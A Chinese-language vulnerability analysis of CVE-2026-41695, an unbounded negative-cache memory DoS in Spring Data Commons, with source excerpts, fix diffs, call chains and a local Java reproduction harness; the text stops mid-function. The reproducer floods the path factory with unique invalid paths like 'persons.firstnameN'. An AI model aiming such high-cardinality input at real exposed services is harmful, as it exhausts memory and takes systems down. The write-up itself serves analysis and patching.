CVE-2026-41695:Spring Data Commons 属性路径缓存导致的 DoS 复现与原理分析
这不是一个“Spring Data REST 默认远程 RCE”级别的问题,而是一个更典型、也更容易在真实系统里被忽略的资源耗尽缺陷。
CVE:
CVE-2026-41695组件:
Spring Data Commons类型:
CWE-400/ Uncontrolled Resource Consumption影响:拒绝服务(DoS)
评分:
CVSS 3.1 7.5 HIGH
0x00 一句话结论
这不是一个“Spring Data REST 默认远程 RCE”级别的问题,而是一个更典型、也更容易在真实系统里被忽略的资源耗尽缺陷。
只要下游模块或业务代码把攻击者可控的属性路径字符串传进 MappingContext#getPersistentPropertyPath(...),脆弱版本就会把每一个唯一字符串对应的解析结果缓存下来,连失败结果也照存不误。攻击者不需要命中合法字段,只要持续喂入海量唯一无效路径,就能把缓存撑大,最终把 JVM 拖进高 GC 或 OOM。
更关键的是,这个行为不是偶发副作用,而是 2023 年 6 月 1 日引入的一次显式优化:上游为了“缓存失败路径,避免重复解析”,把异常路径也纳入了缓存;直到 2026 年 6 月 8 日,官方才用 ConcurrentLruCache(512) 把这条链路收口。
0x01 漏洞信息速览
根据 Spring 官方安全公告,漏洞成立需要同时满足以下条件:
- 攻击者输入被当作属性路径字符串参与解析。
- 下游 Spring Data 模块或应用代码把这个解析能力暴露给了不可信调用方。
- 目标类型存在递归或足够深的属性图,或者攻击者能够持续提交大量唯一无效路径。
官方受影响版本如下:
版本线 | 受影响版本 | 修复版本 |
|
|
|
|
|
|
|
|
|
版本信息有一处需要单独说明:GitHub Advisory 页面目前仍显示 3.4.13 为最后一个受影响版本,但 Spring 官方公告和 NVD 在 2026-07-23 前后的记录都指向 3.4.14。下文以 Spring 官方公告和 NVD 的最新记录为准。
0x01.1 一手信息核对
写这类框架级漏洞,先把一手来源对齐很重要。本文主要核对了三处信息:
- Spring 官方公告:确认漏洞标题、成立条件和受影响版本。
- GitHub 修复提交:确认补丁不是“停止缓存失败路径”,而是“继续缓存,但把缓存改成
ConcurrentLruCache(512)”。 - NVD 页面:确认 CVE 公开记录在
2026-07-23修改后,仍然把3.4.14视为3.4.x线最后一个受影响版本。
图 1:Spring 官方公告直接给出了漏洞描述、成立条件和受影响版本。
图 2:NVD 页面给出 CVE-2026-41695 的公开记录、发布日期 2026-06-09、修改日期 2026-07-23 与受影响版本范围。
0x01.2 漏洞成立条件矩阵
这个洞不适合被粗暴概括成“Spring Data 收到非法字段就会 OOM”。更准确的做法,是把成立条件拆开看:
条件 | 是否必需 | 作用 |
外部输入最终变成属性路径字符串 | 是 | 没有攻击者可控的 |
该字符串被桥接到 | 是 | Commons 本身不直接暴露 HTTP 接口,远程可达性取决于下游模块或业务代码 |
攻击者能持续制造大量唯一值 | 是 | 没有高基数输入,就很难把负缓存放大成持续内存压力 |
路径第一段或前缀能命中合法属性 | 否,但更优 | 合法前缀会让解析走得更深,失败条目里保留的上下文也更完整,攻击效果更稳定 |
目标类型具有深属性图或递归关系 | 否,但会放大 | 图越深,可尝试的路径空间越大,单次解析可能创建和保留的对象也更多 |
接口无认证或低权限可访问 | 否,但决定实战风险 | 决定它是“匿名 DoS”还是“低权限内部滥用” |
这里最容易被误解的一点是:深属性图和递归结构会放大问题,但不是漏洞成立的前提。真正不可缺的只有两件事:
- 不可信字符串进入属性路径解析。
- 这些字符串能持续保持高基数。
也就是说,即使目标对象图并不复杂,只要应用把 sort、fields、projection、PATCH path 之类的参数原样透传给这条解析链路,风险就已经成立;复杂对象图只是在此基础上继续放大单位请求成本。
0x02 为什么这个洞值得单独写
很多人看到这个洞的第一反应会是:“不就是缓存没设上限吗?”但真正有意思的地方,不是“缓存无上限”这五个字,而是下面这条完整链路:
- 输入是外部可控的原始字符串。
- 缓存 key 直接包含这个原始字符串。
- 失败解析结果也会进入缓存。
- 抛出异常发生在缓存写入之后,而不是之前。
- 在本文复现到的受影响版本中,缓存没有上限、没有淘汰,且条目会被长期强引用保留。
这就意味着,只要下游桥接最终命中这个负缓存 sink,攻击者通常不需要“绕过字段校验”或者“命中真实属性”。恰恰相反,越是随机、越是垃圾、越是高基数的无效路径,越适合把缓存喂爆。
如果你的上层入口把原始字符串直接桥接到 MappingContext#getPersistentPropertyPath(String, ...),例如:
- Spring Data REST 的排序字段
- store 模块里的字段映射、路径映射
- 业务代码自定义透传的
sort/property/projection/ PATCH path
那么攻击流量甚至可以一直维持在“请求语义上失败”的状态,但 JVM 内存仍然稳步上涨。这类洞的危险点就在于,应用日志里可能只是一堆看起来普通的 InvalidPersistentPropertyPath。
0x03 时间线:漏洞是怎么被“优化”出来的
1. 2023-06-01:问题根因被引入
上游在提交 291ce083bdcc4d140323125fab518ca64c47af9b 中引入了对失败属性路径的缓存,提交说明非常直白:
- 标题:
Cache invalid persistent property paths. - 说明:
Cache failing resolution attempts to avoid reiterating on the same paths over and over again. - 关联 Issue:
#2837
如果只看 commit message,还是容易把这件事理解成一句抽象的“加了失败缓存”。直接看引入提交里的关键 diff,会更容易把行为变化看清:
- private final Map<TypeAndPath, PersistentPropertyPath<P>> propertyPaths = new ConcurrentReferenceHashMap<>();
+ private final Map<TypeAndPath, PathResolution> propertyPaths = new ConcurrentReferenceHashMap<>();
...
- private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
- return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
- it -> createPersistentPropertyPath(it.getPath(), it.getType()));
- }
+ private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
+ return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();
+ }
+
+ private PathResolution getPotentiallyCachedPath(TypeInformation<?> type, String propertyPath) {
+ return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
+ it -> createPersistentPropertyPath(it.getPath(), it.getType()));
+ }
...
- throw new InvalidPersistentPropertyPath(source, type, segment, currentPath);
+ return new PathResolution(parts, segment, type, currentPath);
...
- return path;
+ return new PathResolution(path);同一次提交还专门补了一个单元测试,把“失败路径也要进入缓存”写成了显式语义,而不是隐含副作用:
@Test // GH-2837
void cachesFailingPropertyPathLookup() {
assertThatExceptionOfType(InvalidPersistentPropertyPath.class)//
.isThrownBy(() -> factory.from(PersonSample.class, "persons.firstname"));
Map<TypeAndPath, ?> propertyPaths = (Map<TypeAndPath, ?>) ReflectionTestUtils.getField(factory, "propertyPaths");
assertThat(propertyPaths).containsKey(TypeAndPath.of(TypeInformation.of(PersonSample.class), "persons.firstname"));
}而 #2837 的原始诉求也很明确:此前实现只缓存可解析的合法路径,失败解析会直接抛异常,导致相同错误路径无法命中缓存。
这本来是一次性能优化,但这里有个时间线细节需要说清:从 2023-06-01 这个引入提交本身看,上游首先确立的是“失败路径也进入缓存”的语义;而在本文复现到的受影响版本里,这个语义又与无界、强引用保留的缓存实现叠加,最终把问题放大成可持续的内存 DoS。
2. 2026-06-08:官方修复
官方在提交 96e9475b963218bb702959524187342671f6b080(4.0.x)和 a4f893b66c18c70f2b22f29a2b55097b73c89941(3.5.x)中修复问题,核心动作只有一个:
- private final Map<TypeAndPath, PathResolution> propertyPaths = new ConcurrentHashMap<>();
+ private final ConcurrentLruCache<TypeAndPath, PathResolution> propertyPaths =
+ new ConcurrentLruCache<>(512, it -> createPersistentPropertyPath(it.path(), it.type()));
...
- private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
- return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();
- }
-
- private PathResolution getPotentiallyCachedPath(TypeInformation<?> type, String propertyPath) {
- return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
- it -> createPersistentPropertyPath(it.path(), it.type()));
- }
+ private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
+ return propertyPaths.get(TypeAndPath.of(type, propertyPath)).getResolvedPath();
+ }图 3:GitHub 提交页可以直接看到 propertyPaths 从 ConcurrentHashMap 切到了 ConcurrentLruCache(512)。
修复不是“不再缓存失败结果”,而是把缓存从“无界永久保留”改成“有界 LRU 保留”。更准确地说,这是一个:
externally-supplied path string 驱动的 unbounded property-path cache
而不是简单一句“异常处理不当”。
0x04 漏洞根因:异常是在缓存之后抛出来的
只看一两行很容易低估问题,下面直接放出 4.0.5 里这一段真实上下文:
private final Map<TypeAndPath, PathResolution> propertyPaths = new ConcurrentHashMap<>();
private final MappingContext<E, P> context;
public PersistentPropertyPath<P> from(Class<?> type, String propertyPath) {
Assert.notNull(type, "Type must not be null");
Assert.hasText(propertyPath, "Property path must not be null or empty");
return getPersistentPropertyPath(TypeInformation.of(type), propertyPath);
}
public PersistentPropertyPath<P> from(TypeInformation<?> type, String propertyPath) {
Assert.notNull(type, "Type must not be null");
Assert.hasText(propertyPath, "Property path must not be null or empty");
return getPersistentPropertyPath(type, propertyPath);
}
private PersistentPropertyPath<P> getPersistentPropertyPath(TypeInformation<?> type, String propertyPath) {
return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();
}
private PathResolution getPotentiallyCachedPath(TypeInformation<?> type, String propertyPath) {
return propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath),
it -> createPersistentPropertyPath(it.path(), it.type()));
}这里可以直接看见三件事:
from(...)系列入口接受的是原始字符串。getPersistentPropertyPath(...)并不先做失败短路,而是先取缓存结果。computeIfAbsent(...)的 key 直接包含攻击者输入的propertyPath。
真正的杀伤点在 createPersistentPropertyPath(...) 的失败路径。完整上下文如下:
private PathResolution createPersistentPropertyPath(String propertyPath, TypeInformation<?> type) {
String trimmedPath = propertyPath.trim();
List<String> parts = trimmedPath.isEmpty() ? Collections.emptyList() : List.of(trimmedPath.split("\\."));
Assert.notEmpty(parts, "Cannot create PersistentPropertyPath from empty segments");
DefaultPersistentPropertyPath<P> path = DefaultPersistentPropertyPath.empty();
Iterator<String> iterator = parts.iterator();
E current = context.getRequiredPersistentEntity(type);
while (iterator.hasNext()) {
String segment = iterator.next();
DefaultPersistentPropertyPath<P> currentPath = path;
Pair<DefaultPersistentPropertyPath<P>, E> pair = getPair(path, iterator, segment, current);
if (pair == null) {
return PathResolution.unresolved(parts, segment, type, currentPath);
}
path = pair.getFirst();
current = pair.getSecond();
}
return PathResolution.resolved(path);
}
private @Nullable Pair<DefaultPersistentPropertyPath<P>, E> getPair(DefaultPersistentPropertyPath<P> path,
Iterator<String> iterator, String segment, E entity) {
P property = entity.getPersistentProperty(segment);
if (property == null) {
return null;
}
return Pair.of(path.append(property),
iterator.hasNext() ? context.getRequiredPersistentEntity(property) : entity);
}注意这里返回的不是异常,而是一个 PathResolution.unresolved(...) 对象。这个对象会作为 computeIfAbsent(...) 的返回值先进入缓存,随后调用方才继续执行:
return getPotentiallyCachedPath(type, propertyPath).getResolvedPath();最后 getResolvedPath() 才会抛出 InvalidPersistentPropertyPath。
实际执行顺序如下:
- 以
(TypeInformation, rawPathString)生成缓存 key。 - 缓存 miss。
- 解析失败。
- 生成
unresolved结果对象。 - 先把失败结果塞进缓存。
- 再抛异常返回给上层。
所以异常并不会阻止缓存污染,反而只是告诉上层“这次查找失败了”。对攻击者来说,失败恰恰就是目的。
0x04.1 TypeAndPath:为什么 key 本身就是污染源
再往下看 TypeAndPath 的完整定义,问题会更直观:
static final class TypeAndPath {
private final TypeInformation<?> type;
private final String path;
private TypeAndPath(TypeInformation<?> type, String path) {
this.type = type;
this.path = path;
}
public static TypeAndPath of(TypeInformation<?> type, String path) {
return new TypeAndPath(type, path);
}
public TypeInformation<?> type() {
return type;
}
public String path() {
return path;
}
@Override
public boolean equals(@Nullable Object obj) {
if (obj == this) {
return true;
}
if (!(obj instanceof TypeAndPath that)) {
return false;
}
return Objects.equals(this.type, that.type) && Objects.equals(this.path, that.path);
}
@Override
public int hashCode() {
return Objects.hash(type, path);
}
}这个 key 没做任何归一化,也没有只保留“最后一个 segment”或者“canonical path”。它就是把:
- 目标类型
TypeInformation<?> - 原始路径字符串
String path
原样打包成一个强引用 key。
因此只要攻击者每次换一个新字符串:
persons.firstname0
persons.firstname1
persons.firstname2就会得到三个完全不同的 TypeAndPath。对缓存来说,这不是“同一个错误路径被重复访问”,而是三个全新的 key。
这也是为什么这种漏洞天然怕高基数输入。如果 key 空间几乎等于攻击者可控字符串空间,那么缓存大小的理论上限就近似等于攻击者愿意发送多少不同参数。
0x04.2 PathResolution:失败结果为什么不会白白丢掉
再看 value,也就是 PathResolution:
private static class PathResolution {
private final PersistentPropertyPath<?> path;
private final boolean resolvable;
private @Nullable final String source;
private @Nullable final String segment;
private @Nullable final TypeInformation<?> type;
private PathResolution(PersistentPropertyPath<?> path) {
this.path = path;
this.resolvable = true;
this.source = null;
this.segment = null;
this.type = null;
}
private PathResolution(List<String> parts, String segment, TypeInformation<?> type,
PersistentPropertyPath<?> path) {
this.source = StringUtils.collectionToDelimitedString(parts, ".");
this.segment = segment;
this.type = type;
this.path = path;
this.resolvable = false;
}
static PathResolution unresolved(List<String> parts, String segment, TypeInformation<?> type,
PersistentPropertyPath<?> path) {
return new PathResolution(parts, segment, type, path);
}
static PathResolution resolved(PersistentPropertyPath<?> path) {
return new PathResolution(path);
}
<P extends PersistentProperty<P>> PersistentPropertyPath<P> getResolvedPath() {
if (resolvable) {
return (PersistentPropertyPath<P>) path;
}
throw new InvalidPersistentPropertyPath(source, type, segment, path);
}
}失败结果不是一个轻量标记位,而是一个完整对象,里面至少会保留:
source:完整原始路径,例如persons.firstname2048segment:失败的当前段,例如firstname2048type:当前目标类型path:已经成功解析出来的前缀路径,例如persons
这意味着一次失败请求留下来的不只是一个 map entry。它通常还会连带留下:
- 一个
TypeAndPath - 一个
String path - 一个
PathResolution - 一个
parts拼接得到的source - 一个前缀
PersistentPropertyPath - 与前缀路径相关的一串对象引用
这也是为什么它不只是“缓存项个数变多”,而是会很真实地转化成堆占用增长。
0x04.3 逐段解析过程:为什么 persons.firstnameN 很适合打
createPersistentPropertyPath(...) 的执行逻辑可以拆成四步:
String trimmedPath = propertyPath.trim();
List<String> parts = trimmedPath.isEmpty() ? Collections.emptyList() : List.of(trimmedPath.split("\\."));
DefaultPersistentPropertyPath<P> path = DefaultPersistentPropertyPath.empty();
Iterator<String> iterator = parts.iterator();
E current = context.getRequiredPersistentEntity(type);第一步,框架把点路径切段。第二步,从根实体开始逐段向下走。第三步,每处理一个 segment,就调用 getPair(...) 去当前实体里找对应属性。第四步,如果属性不存在,直接进入失败缓存分支。
关键判断就在这里:
P property = entity.getPersistentProperty(segment);
if (property == null) {
return null;
}因此像 persons.firstname2048 这种输入非常适合攻击:
persons是合法字段,能顺利进入下一层实体firstname2048不存在,稳定触发失败路径- 后缀数字一变,整个 key 就变成新值
这种构造有个好处:它不会在第一段就被快速拒绝,而是会先走过一部分正常解析路径,再在中间节点留下失败结果。对缓存污染来说,这比纯随机单段字符串更稳定。
0x05 调用链:从公共入口到缓存写入点
下面直接按源码把主链拆开,先不要求读者额外去看任何辅助查询文件:
图 9:从公共 MappingContext 入口到负缓存写入,再到最终抛出 InvalidPersistentPropertyPath 的主调用链。
这条链路有两个实战意义:
MappingContext这一层是公共 API,语义上就允许接收“不一定合法”的路径字符串。- 危险并不要求 Commons 自己直接暴露 HTTP 接口,只要下游有人把 HTTP 参数桥接进来就够了。
AbstractMappingContext 在 4.0.5 里的桥接代码其实非常直接:
@Override
public PersistentPropertyPath<P> getPersistentPropertyPath(PropertyPath propertyPath) {
return persistentPropertyPathFactory.from(propertyPath);
}
@Override
public PersistentPropertyPath<P> getPersistentPropertyPath(String propertyPath, Class<?> type) {
return persistentPropertyPathFactory.from(type, propertyPath);
}
@Override
public PersistentPropertyPath<P> getPersistentPropertyPath(String propertyPath, TypeInformation<?> type) {
return persistentPropertyPathFactory.from(type, propertyPath);
}也就是说,这一层本身并不会“清洗”或“收缩”外部输入;只要下游模块把 HTTP 参数、排序字段、投影字段或 PATCH path 之类的字符串透传进来,后面就会原样落到 PersistentPropertyPathFactory 的缓存逻辑。
Spring 官方公告也明确写了:Spring Data Commons does not directly expose this API to untrusted callers; exposure depends on the consuming Spring Data module or application code.
这句话的意思不是“风险不大”,而是“打不打得到取决于你的系统集成方式”。
0x05.1 这条链路里真正危险的不是 public API,而是 public API + negative cache
单独看 MappingContext#getPersistentPropertyPath(...),它只是一个普通元数据解析入口。单独看“失败结果缓存”,它也像是一次性能优化。真正把这两件事叠在一起,问题才成立:
- 入口允许接收字符串路径。
- 字符串路径在很多下游场景里来自用户输入。
- 失败结果会被缓存。
- 缓存 key 又直接依赖原始字符串。
也就是说,漏洞不是出在“有异常”,而是出在“异常结果被设计成可复用对象并放进了无界缓存”。
如果只抛异常、不缓存失败结果,那么攻击者最多消耗 CPU。如果缓存失败结果但 key 不含原始输入,那么攻击者能制造的状态也有限。现在这两个条件同时成立,才把影响抬成可持续的内存 DoS。
0x05.2 从 GC 视角看,这其实是典型的长生命周期对象积累
为什么这种 bug 比普通大对象申请更麻烦?因为这些对象不是“申请完马上死掉”的短命对象,而是被缓存引用住了。
对 HotSpot 来说,这类对象的生命周期大致会是:
- 请求进入,创建字符串、列表、路径对象。
- 解析失败,本来应该随请求结束一起释放。
- 但
ConcurrentHashMap把TypeAndPath -> PathResolution强引用住。 - 对象无法在年轻代正常回收。
- 一部分对象晋升到老年代。
- 请求越多,GC 压力越大,最终吞吐下降甚至 OOM。
所以这个漏洞的攻击效果通常不是“瞬间把内存打满”,而是:
- 堆缓慢上涨
- Young GC 变频繁
- Old Gen 压力上升
- Full GC 出现
- 最后才是明显故障
这类曲线在生产环境里往往比一次性爆炸更难排查,因为表面症状像性能退化,不像典型崩溃。
0x05.3 PropertyPath 支线不能一概而论
如果只盯着 getPersistentPropertyPath(String, ...),很容易漏掉另一类看起来更“安全”的调用:先把字符串变成 PropertyPath,再调用 getPersistentPropertyPath(PropertyPath)。
先把边界讲清楚:一旦某个调用点已经成功构造出 PropertyPath,后续在 PersistentPropertyPathFactory 里,这条路最终还是会回到同一个字符串缓存 sink:
public PersistentPropertyPath<P> from(PropertyPath path) {
Assert.notNull(path, "Property path must not be null");
return from(path.getOwningType(), path.toDotPath());
}也就是说,针对“已经构造成功的 PropertyPath”这一类输入:
- 下游模块先把外部字符串喂给
PropertyPath.from(...) MappingContext#getPersistentPropertyPath(PropertyPath)再委托到PersistentPropertyPathFactory#from(PropertyPath)from(PropertyPath)又把它还原成owningType + dotPath- 最终仍然落回
TypeAndPath(type, rawDotPath)这套缓存逻辑
这点很关键,因为很多真实调用点表面上并没有直接使用 String 重载,而是先做一层 PropertyPath 封装。如果不把这一步拆开看,就很容易误以为“只有显式传字符串的地方才会命中这个 CVE”。
但反过来,也不能把所有“先过 PropertyPath”的调用都直接等同于漏洞可达。因为某些下游模块会先用 PropertyPath.from(...) 解析原始字符串;如果字符串在这一步就被拒绝,后面的 getPersistentPropertyPath(PropertyPath) 根本不会发生。
更准确地说,PropertyPath 在这里不是天然隔离层,而是一个需要分情况看的中间表示:
- 如果调用方先成功拿到了
PropertyPath,它后面仍可能回流到同一个(TypeInformation, dotPath)缓存 sink。 - 如果调用方在
PropertyPath.from(...)阶段就把无效路径拒掉,那么这条无效输入不会到达本文讨论的负缓存。
0x05.4 下游桥接样本:spring-data-mongodb 里的边界该怎么读
为了避免把“下游桥接”讲成纯推测,这里直接看一个 Spring 官方 store 模块里的真实例子:spring-data-mongodb。但这里要强调的是:这个例子更适合说明“成功构造出的 PropertyPath 会如何回流到 Commons sink”,而不是直接证明“任意随机无效字段名都能命中该 sink”。
QueryMapper#getMappedObject(...) 会遍历查询文档里的每一个 key,并把它交给 createPropertyField(...):
for (String key : BsonUtils.asMap(query).keySet()) {
...
Field field = createPropertyField(entity, key, mappingContext);
...
}而 MetadataBackedField#getPath(...) 内部会先尝试把运行时字段名解析成 PropertyPath,只有成功后才继续调用 mappingContext.getPersistentPropertyPath(path):
String rawPath = resolvePath(pathExpression);
PropertyPath path = forName(rawPath);
if (path == null || isPathToJavaLangClassProperty(path)) {
return null;
}
PersistentPropertyPath<MongoPersistentProperty> propertyPath = tryToResolvePersistentPropertyPath(path);
...
private PersistentPropertyPath<MongoPersistentProperty> tryToResolvePersistentPropertyPath(PropertyPath path) {
try {
return mappingContext.getPersistentPropertyPath(path);
} catch (MappingException e) {
return null;
}
}把这两段拼起来,可以得到一个更精确的结论:
- 运行时查询文档里的字段名
key QueryMapper#createPropertyField(...)MetadataBackedField#getPath(...)- 先经过
PropertyPath.from(rawPath, entity.getTypeInformation()) - 只有
PropertyPath构造成功时,才会继续调用mappingContext.getPersistentPropertyPath(path) PersistentPropertyPathFactory#from(PropertyPath)- 回到 Commons 内部的负缓存
图 9a:spring-data-mongodb 的 QueryMapper 并不是直接把原始 String 送进 Commons 负缓存,而是先经过 PropertyPath 解析;只有解析成功的路径才会回流到同一个 (TypeInformation, rawDotPath) 缓存 sink。
这说明“官方下游模块会不会把已解析路径桥接到这个 sink”这个问题,答案至少在一个真实模块里是肯定的。但它不能单独证明“高基数随机无效路径”也一定能沿这条路打到 sink,因为 forName(rawPath) 这一步本身就可能先失败并返回 null。
当然,这里还要把边界说清楚:
- 这证明了官方 store 模块里存在“
PropertyPath成功后继续桥接”的真实代码路径,不等于“所有 Spring Data MongoDB 应用都默认可被匿名远程触发”。 - 远程可达性仍然取决于更上层有没有把 HTTP 参数、JSON 查询字段、排序字段或别的运行时字段名暴露给这条链路。
- 对“随机无效路径是否可达”的判断,还必须继续看该模块是在
PropertyPath.from(...)之前还是之后拦截输入。
顺手再区分一个很容易混淆的点:
MongoQueryCreator也是一个真实调用点,它会执行context.getPersistentPropertyPath(part.getProperty())- 但
part.getProperty()来自派生查询方法签名,通常是编译期确定的属性名 - 所以它证明的是“官方模块会调用这个 API”,却不一定是最有现实攻击价值的高基数字符串入口
相比之下,QueryMapper / EntityOperations 这类处理运行时字段名的路径,对这类缓存型 DoS 更有分析价值。
0x06 本地复现:绕开业务系统,直接验证核心路径
为了尽量减少无关变量,复现时没有额外搭建业务 Web Demo,而是直接验证漏洞核心:
- 构造
PersistentPropertyPathFactory - 持续送入大量唯一无效路径
- 反射读取
propertyPaths内部缓存 - 对比脆弱版和修复版的缓存行为
从一个空目录手工搭环境,只需要按下面这个最小目录创建文件即可:
.
├── docker-compose.yml
├── scripts/
│ └── run-docker-repro.sh
└── repro/
├── pom.xml
└── src/main/java/org/springframework/data/mapping/context/
├── Cve41695Reproducer.java
├── SampleMappingContext.java
└── SamplePersistentProperty.java0x06.1 先把依赖版本钉死
复现工程的 pom.xml 很短,核心就是把 Spring Data Commons 版本和 Spring Framework 版本参数化,然后用 exec-maven-plugin 直接跑复现主类:
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>local.repro</groupId>
<artifactId>cve-2026-41695-repro</artifactId>
<version>1.0.0</version>
<properties>
<maven.compiler.release>21</maven.compiler.release>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<spring-data-commons.version>4.0.5</spring-data-commons.version>
<spring-framework.version>7.0.7</spring-framework.version>
<exec.mainClass>org.springframework.data.mapping.context.Cve41695Reproducer</exec.mainClass>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>${spring-data-commons.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${spring-framework.version}</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.14.1</version>
<configuration>
<release>${maven.compiler.release}</release>
</configuration>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.6.1</version>
<configuration>
<mainClass>${exec.mainClass}</mainClass>
</configuration>
</plugin>
</plugins>
</build>
</project>这份配置只做三件事:
- 用
-Dspring-data-commons.version=...在运行时切换4.0.5和4.0.6 - 用
-Dspring-framework.version=...对齐对应框架依赖 - 让
mvn compile exec:java可以直接执行复现类
0x06.2 再补一个最小 MappingContext
为了把变量压到最少,复现工程没有起 Web 容器,也没有引入业务实体仓库,而是自己提供一个最小 MappingContext 和 PersistentProperty 实现。下面两段直接就是可保存成文件的完整源码。
package org.springframework.data.mapping.context;
import org.springframework.data.mapping.PersistentProperty;
import org.springframework.data.mapping.model.BasicPersistentEntity;
import org.springframework.data.mapping.model.Property;
import org.springframework.data.mapping.model.SimpleTypeHolder;
import org.springframework.data.util.TypeInformation;
public class SampleMappingContext
extends AbstractMappingContext<BasicPersistentEntity<Object, SamplePersistentProperty>, SamplePersistentProperty> {
@Override
@SuppressWarnings("unchecked")
protected <S> BasicPersistentEntity<Object, SamplePersistentProperty> createPersistentEntity(
TypeInformation<S> typeInformation) {
return new BasicPersistentEntity<>((TypeInformation<Object>) typeInformation);
}
@Override
protected SamplePersistentProperty createPersistentProperty(Property property,
BasicPersistentEntity<Object, SamplePersistentProperty> owner, SimpleTypeHolder simpleTypeHolder) {
return new SamplePersistentProperty(property, owner, simpleTypeHolder);
}
}package org.springframework.data.mapping.context;
import org.springframework.data.mapping.Association;
import org.springframework.data.mapping.model.AnnotationBasedPersistentProperty;
import org.springframework.data.mapping.model.BasicPersistentEntity;
import org.springframework.data.mapping.model.Property;
import org.springframework.data.mapping.model.SimpleTypeHolder;
public class SamplePersistentProperty extends AnnotationBasedPersistentProperty<SamplePersistentProperty> {
SamplePersistentProperty(Property property, BasicPersistentEntity<?, SamplePersistentProperty> owner,
SimpleTypeHolder simpleTypeHolder) {
super(property, owner, simpleTypeHolder);
}
@Override
protected Association<SamplePersistentProperty> createAssociation() {
return new Association<>(this, null);
}
}这两段代码的作用很直接:
- 让
PersistentPropertyPathFactory能在一个最小可用的映射上下文里工作 - 保留 Spring Data 真实的属性路径解析逻辑
- 避免业务 Controller、Repository、序列化层把现象污染掉
0x06.3 最后才是复现主程序
Cve41695Reproducer.java 最长,但也不复杂。为了让正文保持可读性,我按“文件头 -> 主逻辑 -> 反射辅助 -> 输出与参数 -> 测试模型”五段给出;这五段合起来就是完整文件。
先放文件头和默认参数:
package org.springframework.data.mapping.context;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import org.springframework.data.core.TypeInformation;
import org.springframework.data.mapping.model.BasicPersistentEntity;
public class Cve41695Reproducer {
private static final String DEFAULT_LABEL = "vulnerable";
private static final String DEFAULT_PREFIX = "persons.firstname";
private static final int DEFAULT_ITERATIONS = 4096;
private static final long DEFAULT_SLEEP_MILLIS = 0L;然后在 main(...) 里做真正的触发、计数和结果采集:
public static void main(String[] args) throws Exception {
Arguments options = Arguments.parse(args);
PersistentPropertyPathFactory<BasicPersistentEntity<Object, SamplePersistentProperty>, SamplePersistentProperty> factory =
new PersistentPropertyPathFactory<>(new SampleMappingContext());
long startNanos = System.nanoTime();
int exceptions = 0;
for (int i = 0; i < options.iterations(); i++) {
try {
factory.from(PersonSample.class, options.prefix() + i);
} catch (InvalidPersistentPropertyPath ignored) {
exceptions++;
}
}
long elapsedMillis = (System.nanoTime() - startNanos) / 1_000_000L;
Object cache = getPropertyPathsCache(factory);
String firstPath = options.prefix() + 0;
String middlePath = options.prefix() + Math.max(0, options.iterations() / 2);
String lastPath = options.prefix() + Math.max(0, options.iterations() - 1);
Map<String, Object> report = new LinkedHashMap<>();
report.put("label", options.label());
report.put("springDataCommonsVersion", System.getProperty("spring-data-commons.version", "unknown"));
report.put("iterations", options.iterations());
report.put("exceptions", exceptions);
report.put("elapsedMillis", elapsedMillis);
report.put("invalidPathPrefix", options.prefix());
report.put("cacheImplementation", cache.getClass().getName());
report.put("cacheSize", extractCacheSize(cache));
report.put("containsFirstKey", containsCacheEntry(cache, firstPath));
report.put("containsMiddleKey", containsCacheEntry(cache, middlePath));
report.put("containsLastKey", containsCacheEntry(cache, lastPath));
report.put("jvmPid", getCurrentPid());
String json = toJson(report);
System.out.println(json);
if (options.output() != null) {
Files.createDirectories(options.output().getParent());
Files.writeString(options.output(), json + System.lineSeparator());
}
if (options.sleepMillis() > 0) {
System.err.printf("Sleeping for %d ms to allow external heap inspection...%n", options.sleepMillis());
Thread.sleep(options.sleepMillis());
}
}关键点不只是“打 4096 次无效输入”,而是“打完以后把内部缓存状态读出来”。对应的反射辅助代码如下:
private static Object getPropertyPathsCache(Object factory) throws ReflectiveOperationException {
Field field = factory.getClass().getDeclaredField("propertyPaths");
field.setAccessible(true);
return field.get(factory);
}
private static int extractCacheSize(Object cache) throws ReflectiveOperationException {
if (cache instanceof Map<?, ?> map) {
return map.size();
}
try {
Method sizeMethod = cache.getClass().getMethod("size");
Object value = sizeMethod.invoke(cache);
if (value instanceof Number number) {
return number.intValue();
}
} catch (NoSuchMethodException ignored) {
}
for (Class<?> type = cache.getClass(); type != null; type = type.getSuperclass()) {
for (Field field : type.getDeclaredFields()) {
field.setAccessible(true);
Object value = field.get(cache);
if (value instanceof Map<?, ?> map) {
return map.size();
}
}
}
return -1;
}
private static boolean containsCacheEntry(Object cache, String propertyPath) throws ReflectiveOperationException {
Object key = PersistentPropertyPathFactory.TypeAndPath.of(TypeInformation.of(PersonSample.class), propertyPath);
if (cache instanceof Map<?, ?> map) {
return map.containsKey(key);
}
try {
Method containsMethod = cache.getClass().getMethod("contains", Object.class);
Object value = containsMethod.invoke(cache, key);
if (value instanceof Boolean result) {
return result;
}
